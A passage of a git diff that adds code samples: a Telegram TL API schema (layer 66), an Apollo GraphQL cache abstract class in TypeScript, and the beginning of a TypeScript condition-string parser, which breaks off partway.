+inputStickeredMediaPhoto#4a992157 id:InputPhoto = InputStickeredMedia;
+inputStickeredMediaDocument#438865b id:InputDocument = InputStickeredMedia;
+
+game#bdf9653b flags:# id:long access_hash:long short_name:string title:string description:string photo:Photo document:flags.0?Document = Game;
+
+inputGameID#32c3e77 id:long access_hash:long = InputGame;
+inputGameShortName#c331e80a bot_id:InputUser short_name:string = InputGame;
+
+highScore#58fffcd0 pos:int user_id:int score:int = HighScore;
+
+messages.highScores#9a3bfd99 scores:Vector<HighScore> users:Vector<User> = messages.HighScores;
+
+textEmpty#dc3d824f = RichText;
+textPlain#744694e0 text:string = RichText;
+textBold#6724abc4 text:RichText = RichText;
+textItalic#d912a59c text:RichText = RichText;
+textUnderline#c12622c4 text:RichText = RichText;
+textStrike#9bf8bb95 text:RichText = RichText;
+textFixed#6c3f19b9 text:RichText = RichText;
+textUrl#3c2884c1 text:RichText url:string webpage_id:long = RichText;
+textEmail#de5a0dd6 text:RichText email:string = RichText;
+textConcat#7e6260d7 texts:Vector<RichText> = RichText;
+
+pageBlockUnsupported#13567e8a = PageBlock;
+pageBlockTitle#70abc3fd text:RichText = PageBlock;
+pageBlockSubtitle#8ffa9a1f text:RichText = PageBlock;
+pageBlockAuthorDate#baafe5e0 author:RichText published_date:int = PageBlock;
+pageBlockHeader#bfd064ec text:RichText = PageBlock;
+pageBlockSubheader#f12bb6e1 text:RichText = PageBlock;
+pageBlockParagraph#467a0766 text:RichText = PageBlock;
+pageBlockPreformatted#c070d93e text:RichText language:string = PageBlock;
+pageBlockFooter#48870999 text:RichText = PageBlock;
+pageBlockDivider#db20b188 = PageBlock;
+pageBlockAnchor#ce0d37b0 name:string = PageBlock;
+pageBlockList#3a58c7f4 ordered:Bool items:Vector<RichText> = PageBlock;
+pageBlockBlockquote#263d7c26 text:RichText caption:RichText = PageBlock;
+pageBlockPullquote#4f4456d3 text:RichText caption:RichText = PageBlock;
+pageBlockPhoto#e9c69982 photo_id:long caption:RichText = PageBlock;
+pageBlockVideo#d9d71866 flags:# autoplay:flags.0?true loop:flags.1?true video_id:long caption:RichText = PageBlock;
+pageBlockCover#39f23300 cover:PageBlock = PageBlock;
+pageBlockEmbed#cde200d1 flags:# full_width:flags.0?true allow_scrolling:flags.3?true url:flags.1?string html:flags.2?string poster_photo_id:flags.4?long w:int h:int caption:RichText = PageBlock;
+pageBlockEmbedPost#292c7be9 url:string webpage_id:long author_photo_id:long author:string date:int blocks:Vector<PageBlock> caption:RichText = PageBlock;
+pageBlockCollage#8b31c4f items:Vector<PageBlock> caption:RichText = PageBlock;
+pageBlockSlideshow#130c8963 items:Vector<PageBlock> caption:RichText = PageBlock;
+pageBlockChannel#ef1751b5 channel:Chat = PageBlock;
+
+pagePart#8dee6c44 blocks:Vector<PageBlock> photos:Vector<Photo> videos:Vector<Document> = Page;
+pageFull#d7a19d69 blocks:Vector<PageBlock> photos:Vector<Photo> videos:Vector<Document> = Page;
+
+phoneCallDiscardReasonMissed#85e42301 = PhoneCallDiscardReason;
+phoneCallDiscardReasonDisconnect#e095c1a0 = PhoneCallDiscardReason;
+phoneCallDiscardReasonHangup#57adc690 = PhoneCallDiscardReason;
+phoneCallDiscardReasonBusy#faf7e8c9 = PhoneCallDiscardReason;
+
+dataJSON#7d748d04 data:string = DataJSON;
+
+labeledPrice#cb296bf8 label:string amount:long = LabeledPrice;
+
+invoice#c30aa358 flags:# test:flags.0?true name_requested:flags.1?true phone_requested:flags.2?true email_requested:flags.3?true shipping_address_requested:flags.4?true flexible:flags.5?true currency:string prices:Vector<LabeledPrice> = Invoice;
+
+paymentCharge#ea02c27e id:string provider_charge_id:string = PaymentCharge;
+
+postAddress#1e8caaeb street_line1:string street_line2:string city:string state:string country_iso2:string post_code:string = PostAddress;
+
+paymentRequestedInfo#909c3f94 flags:# name:flags.0?string phone:flags.1?string email:flags.2?string shipping_address:flags.3?PostAddress = PaymentRequestedInfo;
+
+paymentSavedCredentialsCard#cdc27a1f id:string title:string = PaymentSavedCredentials;
+
+webDocument#c61acbd8 url:string access_hash:long size:int mime_type:string attributes:Vector<DocumentAttribute> dc_id:int = WebDocument;
+
+inputWebDocument#9bed434d url:string size:int mime_type:string attributes:Vector<DocumentAttribute> = InputWebDocument;
+
+inputWebFileLocation#c239d686 url:string access_hash:long = InputWebFileLocation;
+
+upload.webFile#21e753bc size:int mime_type:string file_type:storage.FileType mtime:int bytes:bytes = upload.WebFile;
+
+payments.paymentForm#3f56aea3 flags:# can_save_credentials:flags.2?true password_missing:flags.3?true bot_id:int invoice:Invoice provider_id:int url:string native_provider:flags.4?string native_params:flags.4?DataJSON saved_info:flags.0?PaymentRequestedInfo saved_credentials:flags.1?PaymentSavedCredentials users:Vector<User> = payments.PaymentForm;
+
+payments.validatedRequestedInfo#d1451883 flags:# id:flags.0?string shipping_options:flags.1?Vector<ShippingOption> = payments.ValidatedRequestedInfo;
+
+payments.paymentResult#4e5f810d updates:Updates = payments.PaymentResult;
+payments.paymentVerficationNeeded#6b56b921 url:string = payments.PaymentResult;
+
+payments.paymentReceipt#500911e1 flags:# date:int bot_id:int invoice:Invoice provider_id:int info:flags.0?PaymentRequestedInfo shipping:flags.1?ShippingOption currency:string total_amount:long credentials_title:string users:Vector<User> = payments.PaymentReceipt;
+
+payments.savedInfo#fb8fe43c flags:# has_saved_credentials:flags.1?true saved_info:flags.0?PaymentRequestedInfo = payments.SavedInfo;
+
+inputPaymentCredentialsSaved#c10eb2cf id:string tmp_password:bytes = InputPaymentCredentials;
+inputPaymentCredentials#3417d728 flags:# save:flags.0?true data:DataJSON = InputPaymentCredentials;
+
+account.tmpPassword#db64fd34 tmp_password:bytes valid_until:int = account.TmpPassword;
+
+shippingOption#b6213cdf id:string title:string prices:Vector<LabeledPrice> = ShippingOption;
+
+inputPhoneCall#1e36fded id:long access_hash:long = InputPhoneCall;
+
+phoneCallEmpty#5366c915 id:long = PhoneCall;
+phoneCallWaiting#1b8f4ad1 flags:# id:long access_hash:long date:int admin_id:int participant_id:int protocol:PhoneCallProtocol receive_date:flags.0?int = PhoneCall;
+phoneCallRequested#83761ce4 id:long access_hash:long date:int admin_id:int participant_id:int g_a_hash:bytes protocol:PhoneCallProtocol = PhoneCall;
+phoneCallAccepted#6d003d3f id:long access_hash:long date:int admin_id:int participant_id:int g_b:bytes protocol:PhoneCallProtocol = PhoneCall;
+phoneCall#ffe6ab67 id:long access_hash:long date:int admin_id:int participant_id:int g_a_or_b:bytes key_fingerprint:long protocol:PhoneCallProtocol connection:PhoneConnection alternative_connections:Vector<PhoneConnection> start_date:int = PhoneCall;
+phoneCallDiscarded#50ca4de1 flags:# need_rating:flags.2?true need_debug:flags.3?true id:long reason:flags.0?PhoneCallDiscardReason duration:flags.1?int = PhoneCall;
+
+phoneConnection#9d4c17c0 id:long ip:string ipv6:string port:int peer_tag:bytes = PhoneConnection;
+
+phoneCallProtocol#a2bb35cb flags:# udp_p2p:flags.0?true udp_reflector:flags.1?true min_layer:int max_layer:int = PhoneCallProtocol;
+
+phone.phoneCall#ec82e140 phone_call:PhoneCall users:Vector<User> = phone.PhoneCall;
+
+upload.cdnFileReuploadNeeded#eea8e46e request_token:bytes = upload.CdnFile;
+upload.cdnFile#a99fca4f bytes:bytes = upload.CdnFile;
+
+cdnPublicKey#c982eaba dc_id:int public_key:string = CdnPublicKey;
+
+cdnConfig#5725e40a public_keys:Vector<CdnPublicKey> = CdnConfig;
+
+---functions---
+
+invokeAfterMsg#cb9f372d {X:Type} msg_id:long query:!X = X;
+invokeAfterMsgs#3dc4b4f0 {X:Type} msg_ids:Vector<long> query:!X = X;
+initConnection#69796de9 {X:Type} api_id:int device_model:string system_version:string app_version:string lang_code:string query:!X = X;
+invokeWithLayer#da9b0d0d {X:Type} layer:int query:!X = X;
+invokeWithoutUpdates#bf9459b7 {X:Type} query:!X = X;
+
+auth.checkPhone#6fe51dfb phone_number:string = auth.CheckedPhone;
+auth.sendCode#86aef0ec flags:# allow_flashcall:flags.0?true phone_number:string current_number:flags.0?Bool api_id:int api_hash:string = auth.SentCode;
+auth.signUp#1b067634 phone_number:string phone_code_hash:string phone_code:string first_name:string last_name:string = auth.Authorization;
+auth.signIn#bcd51581 phone_number:string phone_code_hash:string phone_code:string = auth.Authorization;
+auth.logOut#5717da40 = Bool;
+auth.resetAuthorizations#9fab0d1a = Bool;
+auth.sendInvites#771c1d97 phone_numbers:Vector<string> message:string = Bool;
+auth.exportAuthorization#e5bfffcd dc_id:int = auth.ExportedAuthorization;
+auth.importAuthorization#e3ef9613 id:int bytes:bytes = auth.Authorization;
+auth.bindTempAuthKey#cdd42a05 perm_auth_key_id:long nonce:long expires_at:int encrypted_message:bytes = Bool;
+auth.importBotAuthorization#67a3ff2c flags:int api_id:int api_hash:string bot_auth_token:string = auth.Authorization;
+auth.checkPassword#a63011e password_hash:bytes = auth.Authorization;
+auth.requestPasswordRecovery#d897bc66 = auth.PasswordRecovery;
+auth.recoverPassword#4ea56e92 code:string = auth.Authorization;
+auth.resendCode#3ef1a9bf phone_number:string phone_code_hash:string = auth.SentCode;
+auth.cancelCode#1f040578 phone_number:string phone_code_hash:string = Bool;
+auth.dropTempAuthKeys#8e48a188 except_auth_keys:Vector<long> = Bool;
+
+account.registerDevice#637ea878 token_type:int token:string = Bool;
+account.unregisterDevice#65c55b40 token_type:int token:string = Bool;
+account.updateNotifySettings#84be5b93 peer:InputNotifyPeer settings:InputPeerNotifySettings = Bool;
+account.getNotifySettings#12b3ad31 peer:InputNotifyPeer = PeerNotifySettings;
+account.resetNotifySettings#db7e1747 = Bool;
+account.updateProfile#78515775 flags:# first_name:flags.0?string last_name:flags.1?string about:flags.2?string = User;
+account.updateStatus#6628562c offline:Bool = Bool;
+account.getWallPapers#c04cfac2 = Vector<WallPaper>;
+account.reportPeer#ae189d5f peer:InputPeer reason:ReportReason = Bool;
+account.checkUsername#2714d86c username:string = Bool;
+account.updateUsername#3e0bdd7c username:string = User;
+account.getPrivacy#dadbc950 key:InputPrivacyKey = account.PrivacyRules;
+account.setPrivacy#c9f81ce8 key:InputPrivacyKey rules:Vector<InputPrivacyRule> = account.PrivacyRules;
+account.deleteAccount#418d4e0b reason:string = Bool;
+account.getAccountTTL#8fc711d = AccountDaysTTL;
+account.setAccountTTL#2442485e ttl:AccountDaysTTL = Bool;
+account.sendChangePhoneCode#8e57deb flags:# allow_flashcall:flags.0?true phone_number:string current_number:flags.0?Bool = auth.SentCode;
+account.changePhone#70c32edb phone_number:string phone_code_hash:string phone_code:string = User;
+account.updateDeviceLocked#38df3532 period:int = Bool;
+account.getAuthorizations#e320c158 = account.Authorizations;
+account.resetAuthorization#df77f3bc hash:long = Bool;
+account.getPassword#548a30f5 = account.Password;
+account.getPasswordSettings#bc8d11bb current_password_hash:bytes = account.PasswordSettings;
+account.updatePasswordSettings#fa7c4b86 current_password_hash:bytes new_settings:account.PasswordInputSettings = Bool;
+account.sendConfirmPhoneCode#1516d7bd flags:# allow_flashcall:flags.0?true hash:string current_number:flags.0?Bool = auth.SentCode;
+account.confirmPhone#5f2178c3 phone_code_hash:string phone_code:string = Bool;
+account.getTmpPassword#4a82327e password_hash:bytes period:int = account.TmpPassword;
+
+users.getUsers#d91a548 id:Vector<InputUser> = Vector<User>;
+users.getFullUser#ca30a5b1 id:InputUser = UserFull;
+
+contacts.getStatuses#c4a353ee = Vector<ContactStatus>;
+contacts.getContacts#22c6aa08 hash:string = contacts.Contacts;
+contacts.importContacts#da30b32d contacts:Vector<InputContact> replace:Bool = contacts.ImportedContacts;
+contacts.deleteContact#8e953744 id:InputUser = contacts.Link;
+contacts.deleteContacts#59ab389e id:Vector<InputUser> = Bool;
+contacts.block#332b49fc id:InputUser = Bool;
+contacts.unblock#e54100bd id:InputUser = Bool;
+contacts.getBlocked#f57c350f offset:int limit:int = contacts.Blocked;
+contacts.exportCard#84e53737 = Vector<int>;
+contacts.importCard#4fe196fe export_card:Vector<int> = User;
+contacts.search#11f812d8 q:string limit:int = contacts.Found;
+contacts.resolveUsername#f93ccba3 username:string = contacts.ResolvedPeer;
+contacts.getTopPeers#d4982db5 flags:# correspondents:flags.0?true bots_pm:flags.1?true bots_inline:flags.2?true groups:flags.10?true channels:flags.15?true offset:int limit:int hash:int = contacts.TopPeers;
+contacts.resetTopPeerRating#1ae373ac category:TopPeerCategory peer:InputPeer = Bool;
+
+messages.getMessages#4222fa74 id:Vector<int> = messages.Messages;
+messages.getDialogs#191ba9c5 flags:# exclude_pinned:flags.0?true offset_date:int offset_id:int offset_peer:InputPeer limit:int = messages.Dialogs;
+messages.getHistory#afa92846 peer:InputPeer offset_id:int offset_date:int add_offset:int limit:int max_id:int min_id:int = messages.Messages;
+messages.search#d4569248 flags:# peer:InputPeer q:string filter:MessagesFilter min_date:int max_date:int offset:int max_id:int limit:int = messages.Messages;
+messages.readHistory#e306d3a peer:InputPeer max_id:int = messages.AffectedMessages;
+messages.deleteHistory#1c015b09 flags:# just_clear:flags.0?true peer:InputPeer max_id:int = messages.AffectedHistory;
+messages.deleteMessages#e58e95d2 flags:# revoke:flags.0?true id:Vector<int> = messages.AffectedMessages;
+messages.receivedMessages#5a954c0 max_id:int = Vector<ReceivedNotifyMessage>;
+messages.setTyping#a3825e50 peer:InputPeer action:SendMessageAction = Bool;
+messages.sendMessage#fa88427a flags:# no_webpage:flags.1?true silent:flags.5?true background:flags.6?true clear_draft:flags.7?true peer:InputPeer reply_to_msg_id:flags.0?int message:string random_id:long reply_markup:flags.2?ReplyMarkup entities:flags.3?Vector<MessageEntity> = Updates;
+messages.sendMedia#c8f16791 flags:# silent:flags.5?true background:flags.6?true clear_draft:flags.7?true peer:InputPeer reply_to_msg_id:flags.0?int media:InputMedia random_id:long reply_markup:flags.2?ReplyMarkup = Updates;
+messages.forwardMessages#708e0195 flags:# silent:flags.5?true background:flags.6?true with_my_score:flags.8?true from_peer:InputPeer id:Vector<int> random_id:Vector<long> to_peer:InputPeer = Updates;
+messages.reportSpam#cf1592db peer:InputPeer = Bool;
+messages.hideReportSpam#a8f1709b peer:InputPeer = Bool;
+messages.getPeerSettings#3672e09c peer:InputPeer = PeerSettings;
+messages.getChats#3c6aa187 id:Vector<int> = messages.Chats;
+messages.getFullChat#3b831c66 chat_id:int = messages.ChatFull;
+messages.editChatTitle#dc452855 chat_id:int title:string = Updates;
+messages.editChatPhoto#ca4c79d8 chat_id:int photo:InputChatPhoto = Updates;
+messages.addChatUser#f9a0aa09 chat_id:int user_id:InputUser fwd_limit:int = Updates;
+messages.deleteChatUser#e0611f16 chat_id:int user_id:InputUser = Updates;
+messages.createChat#9cb126e users:Vector<InputUser> title:string = Updates;
+messages.forwardMessage#33963bf9 peer:InputPeer id:int random_id:long = Updates;
+messages.getDhConfig#26cf8950 version:int random_length:int = messages.DhConfig;
+messages.requestEncryption#f64daf43 user_id:InputUser random_id:int g_a:bytes = EncryptedChat;
+messages.acceptEncryption#3dbc0415 peer:InputEncryptedChat g_b:bytes key_fingerprint:long = EncryptedChat;
+messages.discardEncryption#edd923c5 chat_id:int = Bool;
+messages.setEncryptedTyping#791451ed peer:InputEncryptedChat typing:Bool = Bool;
+messages.readEncryptedHistory#7f4b690a peer:InputEncryptedChat max_date:int = Bool;
+messages.sendEncrypted#a9776773 peer:InputEncryptedChat random_id:long data:bytes = messages.SentEncryptedMessage;
+messages.sendEncryptedFile#9a901b66 peer:InputEncryptedChat random_id:long data:bytes file:InputEncryptedFile = messages.SentEncryptedMessage;
+messages.sendEncryptedService#32d439a4 peer:InputEncryptedChat random_id:long data:bytes = messages.SentEncryptedMessage;
+messages.receivedQueue#55a5bb66 max_qts:int = Vector<long>;
+messages.reportEncryptedSpam#4b0c8c0f peer:InputEncryptedChat = Bool;
+messages.readMessageContents#36a73f77 id:Vector<int> = messages.AffectedMessages;
+messages.getAllStickers#1c9618b1 hash:int = messages.AllStickers;
+messages.getWebPagePreview#25223e24 message:string = MessageMedia;
+messages.exportChatInvite#7d885289 chat_id:int = ExportedChatInvite;
+messages.checkChatInvite#3eadb1bb hash:string = ChatInvite;
+messages.importChatInvite#6c50051c hash:string = Updates;
+messages.getStickerSet#2619a90e stickerset:InputStickerSet = messages.StickerSet;
+messages.installStickerSet#c78fe460 stickerset:InputStickerSet archived:Bool = messages.StickerSetInstallResult;
+messages.uninstallStickerSet#f96e55de stickerset:InputStickerSet = Bool;
+messages.startBot#e6df7378 bot:InputUser peer:InputPeer random_id:long start_param:string = Updates;
+messages.getMessagesViews#c4c8a55d peer:InputPeer id:Vector<int> increment:Bool = Vector<int>;
+messages.toggleChatAdmins#ec8bd9e1 chat_id:int enabled:Bool = Updates;
+messages.editChatAdmin#a9e69f2e chat_id:int user_id:InputUser is_admin:Bool = Bool;
+messages.migrateChat#15a3b8e3 chat_id:int = Updates;
+messages.searchGlobal#9e3cacb0 q:string offset_date:int offset_peer:InputPeer offset_id:int limit:int = messages.Messages;
+messages.reorderStickerSets#78337739 flags:# masks:flags.0?true order:Vector<long> = Bool;
+messages.getDocumentByHash#338e2464 sha256:bytes size:int mime_type:string = Document;
+messages.searchGifs#bf9a776b q:string offset:int = messages.FoundGifs;
+messages.getSavedGifs#83bf3d52 hash:int = messages.SavedGifs;
+messages.saveGif#327a30cb id:InputDocument unsave:Bool = Bool;
+messages.getInlineBotResults#514e999d flags:# bot:InputUser peer:InputPeer geo_point:flags.0?InputGeoPoint query:string offset:string = messages.BotResults;
+messages.setInlineBotResults#eb5ea206 flags:# gallery:flags.0?true private:flags.1?true query_id:long results:Vector<InputBotInlineResult> cache_time:int next_offset:flags.2?string switch_pm:flags.3?InlineBotSwitchPM = Bool;
+messages.sendInlineBotResult#b16e06fe flags:# silent:flags.5?true background:flags.6?true clear_draft:flags.7?true peer:InputPeer reply_to_msg_id:flags.0?int random_id:long query_id:long id:string = Updates;
+messages.getMessageEditData#fda68d36 peer:InputPeer id:int = messages.MessageEditData;
+messages.editMessage#ce91e4ca flags:# no_webpage:flags.1?true peer:InputPeer id:int message:flags.11?string reply_markup:flags.2?ReplyMarkup entities:flags.3?Vector<MessageEntity> = Updates;
+messages.editInlineBotMessage#130c2c85 flags:# no_webpage:flags.1?true id:InputBotInlineMessageID message:flags.11?string reply_markup:flags.2?ReplyMarkup entities:flags.3?Vector<MessageEntity> = Bool;
+messages.getBotCallbackAnswer#810a9fec flags:# game:flags.1?true peer:InputPeer msg_id:int data:flags.0?bytes = messages.BotCallbackAnswer;
+messages.setBotCallbackAnswer#d58f130a flags:# alert:flags.1?true query_id:long message:flags.0?string url:flags.2?string cache_time:int = Bool;
+messages.getPeerDialogs#2d9776b9 peers:Vector<InputPeer> = messages.PeerDialogs;
+messages.saveDraft#bc39e14b flags:# no_webpage:flags.1?true reply_to_msg_id:flags.0?int peer:InputPeer message:string entities:flags.3?Vector<MessageEntity> = Bool;
+messages.getAllDrafts#6a3f8d65 = Updates;
+messages.getFeaturedStickers#2dacca4f hash:int = messages.FeaturedStickers;
+messages.readFeaturedStickers#5b118126 id:Vector<long> = Bool;
+messages.getRecentStickers#5ea192c9 flags:# attached:flags.0?true hash:int = messages.RecentStickers;
+messages.saveRecentSticker#392718f8 flags:# attached:flags.0?true id:InputDocument unsave:Bool = Bool;
+messages.clearRecentStickers#8999602d flags:# attached:flags.0?true = Bool;
+messages.getArchivedStickers#57f17692 flags:# masks:flags.0?true offset_id:long limit:int = messages.ArchivedStickers;
+messages.getMaskStickers#65b8c79f hash:int = messages.AllStickers;
+messages.getAttachedStickers#cc5b67cc media:InputStickeredMedia = Vector<StickerSetCovered>;
+messages.setGameScore#8ef8ecc0 flags:# edit_message:flags.0?true force:flags.1?true peer:InputPeer id:int user_id:InputUser score:int = Updates;
+messages.setInlineGameScore#15ad9f64 flags:# edit_message:flags.0?true force:flags.1?true id:InputBotInlineMessageID user_id:InputUser score:int = Bool;
+messages.getGameHighScores#e822649d peer:InputPeer id:int user_id:InputUser = messages.HighScores;
+messages.getInlineGameHighScores#f635e1b id:InputBotInlineMessageID user_id:InputUser = messages.HighScores;
+messages.getCommonChats#d0a48c4 user_id:InputUser max_id:int limit:int = messages.Chats;
+messages.getAllChats#eba80ff0 except_ids:Vector<int> = messages.Chats;
+messages.getWebPage#32ca8f91 url:string hash:int = WebPage;
+messages.toggleDialogPin#3289be6a flags:# pinned:flags.0?true peer:InputPeer = Bool;
+messages.reorderPinnedDialogs#959ff644 flags:# force:flags.0?true order:Vector<InputPeer> = Bool;
+messages.getPinnedDialogs#e254d64e = messages.PeerDialogs;
+messages.setBotShippingResults#e5f672fa flags:# query_id:long error:flags.0?string shipping_options:flags.1?Vector<ShippingOption> = Bool;
+messages.setBotPrecheckoutResults#9c2dd95 flags:# success:flags.1?true query_id:long error:flags.0?string = Bool;
+
+updates.getState#edd4882a = updates.State;
+updates.getDifference#25939651 flags:# pts:int pts_total_limit:flags.0?int date:int qts:int = updates.Difference;
+updates.getChannelDifference#3173d78 flags:# force:flags.0?true channel:InputChannel filter:ChannelMessagesFilter pts:int limit:int = updates.ChannelDifference;
+
+photos.updateProfilePhoto#f0bb5152 id:InputPhoto = UserProfilePhoto;
+photos.uploadProfilePhoto#4f32c098 file:InputFile = photos.Photo;
+photos.deletePhotos#87cf7f2f id:Vector<InputPhoto> = Vector<long>;
+photos.getUserPhotos#91cd32a8 user_id:InputUser offset:int max_id:long limit:int = photos.Photos;
+
+upload.saveFilePart#b304a621 file_id:long file_part:int bytes:bytes = Bool;
+upload.getFile#e3a6cfb5 location:InputFileLocation offset:int limit:int = upload.File;
+upload.saveBigFilePart#de7b673d file_id:long file_part:int file_total_parts:int bytes:bytes = Bool;
+upload.getWebFile#24e6818d location:InputWebFileLocation offset:int limit:int = upload.WebFile;
+upload.getCdnFile#2000bcc3 file_token:bytes offset:int limit:int = upload.CdnFile;
+upload.reuploadCdnFile#2e7a2020 file_token:bytes request_token:bytes = Bool;
+
+help.getConfig#c4f9186b = Config;
+help.getNearestDc#1fb33026 = NearestDc;
+help.getAppUpdate#ae2de196 = help.AppUpdate;
+help.saveAppLog#6f02f748 events:Vector<InputAppEvent> = Bool;
+help.getInviteText#4d392343 = help.InviteText;
+help.getSupport#9cdf08cd = help.Support;
+help.getAppChangelog#9010ef6f prev_app_version:string = Updates;
+help.getTermsOfService#350170f3 = help.TermsOfService;
+help.setBotUpdatesStatus#ec22cfcd pending_updates_count:int message:string = Bool;
+help.getCdnConfig#52029342 = CdnConfig;
+
+channels.readHistory#cc104937 channel:InputChannel max_id:int = Bool;
+channels.deleteMessages#84c1fd4e channel:InputChannel id:Vector<int> = messages.AffectedMessages;
+channels.deleteUserHistory#d10dd71b channel:InputChannel user_id:InputUser = messages.AffectedHistory;
+channels.reportSpam#fe087810 channel:InputChannel user_id:InputUser id:Vector<int> = Bool;
+channels.getMessages#93d7b347 channel:InputChannel id:Vector<int> = messages.Messages;
+channels.getParticipants#24d98f92 channel:InputChannel filter:ChannelParticipantsFilter offset:int limit:int = channels.ChannelParticipants;
+channels.getParticipant#546dd7a6 channel:InputChannel user_id:InputUser = channels.ChannelParticipant;
+channels.getChannels#a7f6bbb id:Vector<InputChannel> = messages.Chats;
+channels.getFullChannel#8736a09 channel:InputChannel = messages.ChatFull;
+channels.createChannel#f4893d7f flags:# broadcast:flags.0?true megagroup:flags.1?true title:string about:string = Updates;
+channels.editAbout#13e27f1e channel:InputChannel about:string = Bool;
+channels.editAdmin#eb7611d0 channel:InputChannel user_id:InputUser role:ChannelParticipantRole = Updates;
+channels.editTitle#566decd0 channel:InputChannel title:string = Updates;
+channels.editPhoto#f12e57c9 channel:InputChannel photo:InputChatPhoto = Updates;
+channels.checkUsername#10e6bd2c channel:InputChannel username:string = Bool;
+channels.updateUsername#3514b3de channel:InputChannel username:string = Bool;
+channels.joinChannel#24b524c5 channel:InputChannel = Updates;
+channels.leaveChannel#f836aa95 channel:InputChannel = Updates;
+channels.inviteToChannel#199f3a6c channel:InputChannel users:Vector<InputUser> = Updates;
+channels.kickFromChannel#a672de14 channel:InputChannel user_id:InputUser kicked:Bool = Updates;
+channels.exportInvite#c7560885 channel:InputChannel = ExportedChatInvite;
+channels.deleteChannel#c0111fe3 channel:InputChannel = Updates;
+channels.toggleInvites#49609307 channel:InputChannel enabled:Bool = Updates;
+channels.exportMessageLink#c846d22d channel:InputChannel id:int = ExportedMessageLink;
+channels.toggleSignatures#1f69b606 channel:InputChannel enabled:Bool = Updates;
+channels.updatePinnedMessage#a72ded52 flags:# silent:flags.0?true channel:InputChannel id:int = Updates;
+channels.getAdminedPublicChannels#8d8d82d7 = messages.Chats;
+
+bots.sendCustomRequest#aa2769ed custom_method:string params:DataJSON = DataJSON;
+bots.answerWebhookJSONQuery#e6213f4d query_id:long data:DataJSON = Bool;
+
+payments.getPaymentForm#99f09745 msg_id:int = payments.PaymentForm;
+payments.getPaymentReceipt#a092a980 msg_id:int = payments.PaymentReceipt;
+payments.validateRequestedInfo#770a8e74 flags:# save:flags.0?true msg_id:int info:PaymentRequestedInfo = payments.ValidatedRequestedInfo;
+payments.sendPaymentForm#2b8879b3 flags:# msg_id:int requested_info_id:flags.0?string shipping_option_id:flags.1?string credentials:InputPaymentCredentials = payments.PaymentResult;
+payments.getSavedInfo#227d824b = payments.SavedInfo;
+payments.clearSavedInfo#d83d70c1 flags:# credentials:flags.0?true info:flags.1?true = Bool;
+
+phone.getCallConfig#55451fa9 = DataJSON;
+phone.requestCall#5b95b3d4 user_id:InputUser random_id:int g_a_hash:bytes protocol:PhoneCallProtocol = phone.PhoneCall;
+phone.acceptCall#3bd2b4a0 peer:InputPhoneCall g_b:bytes protocol:PhoneCallProtocol = phone.PhoneCall;
+phone.confirmCall#2efe1722 peer:InputPhoneCall g_a:bytes key_fingerprint:long protocol:PhoneCallProtocol = phone.PhoneCall;
+phone.receivedCall#17d54f61 peer:InputPhoneCall = Bool;
+phone.discardCall#78d413a6 peer:InputPhoneCall duration:int reason:PhoneCallDiscardReason connection_id:long = Updates;
+phone.setCallRating#1c536a34 peer:InputPhoneCall rating:int comment:string = Updates;
+phone.saveCallDebug#277add7e peer:InputPhoneCall debug:DataJSON = Bool;
+
+// LAYER 66
\ No newline at end of file
diff --git a/samples/TypeScript/cache.ts b/samples/TypeScript/cache.ts
new file mode 100644
index 0000000000..639065491a
--- /dev/null
+++ b/samples/TypeScript/cache.ts
@@ -0,0 +1,102 @@
+import { DocumentNode } from 'graphql';
+import { getFragmentQueryDocument } from 'apollo-utilities';
+
+import { DataProxy, Cache } from './types';
+
+export type Transaction<T> = (c: ApolloCache<T>) => void;
+
+export abstract class ApolloCache<TSerialized> implements DataProxy {
+  // required to implement
+  // core API
+  public abstract read<T>(query: Cache.ReadOptions): T;
+  public abstract write(write: Cache.WriteOptions): void;
+  public abstract diff<T>(query: Cache.DiffOptions): Cache.DiffResult<T>;
+  public abstract watch(watch: Cache.WatchOptions): () => void;
+  public abstract evict(query: Cache.EvictOptions): Cache.EvictionResult;
+  public abstract reset(): Promise<void>;
+
+  // intializer / offline / ssr API
+  /**
+   * Replaces existing state in the cache (if any) with the values expressed by
+   * `serializedState`.
+   *
+   * Called when hydrating a cache (server side rendering, or offline storage),
+   * and also (potentially) during hot reloads.
+   */
+  public abstract restore(
+    serializedState: TSerialized,
+  ): ApolloCache<TSerialized>;
+
+  /**
+   * Exposes the cache's complete state, in a serializable format for later restoration.
+   */
+  public abstract extract(optimistic: boolean): TSerialized;
+
+  // optimistic API
+  public abstract removeOptimistic(id: string): void;
+
+  // transactional API
+  public abstract performTransaction(
+    transaction: Transaction<TSerialized>,
+  ): void;
+  public abstract recordOptimisticTransaction(
+    transaction: Transaction<TSerialized>,
+    id: string,
+  ): void;
+
+  // optional API
+  public transformDocument(document: DocumentNode): DocumentNode {
+    return document;
+  }
+  // experimental
+  public transformForLink(document: DocumentNode): DocumentNode {
+    return document;
+  }
+
+  // DataProxy API
+  /**
+   *
+   * @param options
+   * @param optimistic
+   */
+  public readQuery<QueryType>(
+    options: DataProxy.Query,
+    optimistic: boolean = false,
+  ): QueryType {
+    return this.read({
+      query: options.query,
+      variables: options.variables,
+      optimistic,
+    });
+  }
+
+  public readFragment<FragmentType>(
+    options: DataProxy.Fragment,
+    optimistic: boolean = false,
+  ): FragmentType | null {
+    return this.read({
+      query: getFragmentQueryDocument(options.fragment, options.fragmentName),
+      variables: options.variables,
+      rootId: options.id,
+      optimistic,
+    });
+  }
+
+  public writeQuery(options: Cache.WriteQueryOptions): void {
+    this.write({
+      dataId: 'ROOT_QUERY',
+      result: options.data,
+      query: options.query,
+      variables: options.variables,
+    });
+  }
+
+  public writeFragment(options: Cache.WriteFragmentOptions): void {
+    this.write({
+      dataId: options.id,
+      result: options.data,
+      variables: options.variables,
+      query: getFragmentQueryDocument(options.fragment, options.fragmentName),
+    });
+  }
+}
diff --git a/samples/TypeScript/conditionParser.mts b/samples/TypeScript/conditionParser.mts
new file mode 100644
index 0000000000..67ccf3875c
--- /dev/null
+++ b/samples/TypeScript/conditionParser.mts
@@ -0,0 +1,118 @@
+const thisFile = import.meta.url;
+
+const waitOneTick = await Promise.resolve();
+
+export function parse(
+    source: string
+  ): {
+    test: string;
+    consequent: string | null;
+    alternate: string | null;
+    hash: string | null;
+  } {
+    const PROTOCOL = "condition:";
+  
+    if (!source.startsWith(PROTOCOL, 0)) {
+      throw new Error(`Expected 'condition:' at index 0 (${source})`);
+    }
+  
+    let pos = PROTOCOL.length;
+  
+    skipWs();
+  
+    const test = eatRegExp(/[\w-]+/y);
+    if (!test) {
+      throw new Error(`Expected an identifier at index ${pos} (${source})`);
+    }
+  
+    skipWs();
+    expect("?");
+    skipWs();
+  
+    let consequent = null;
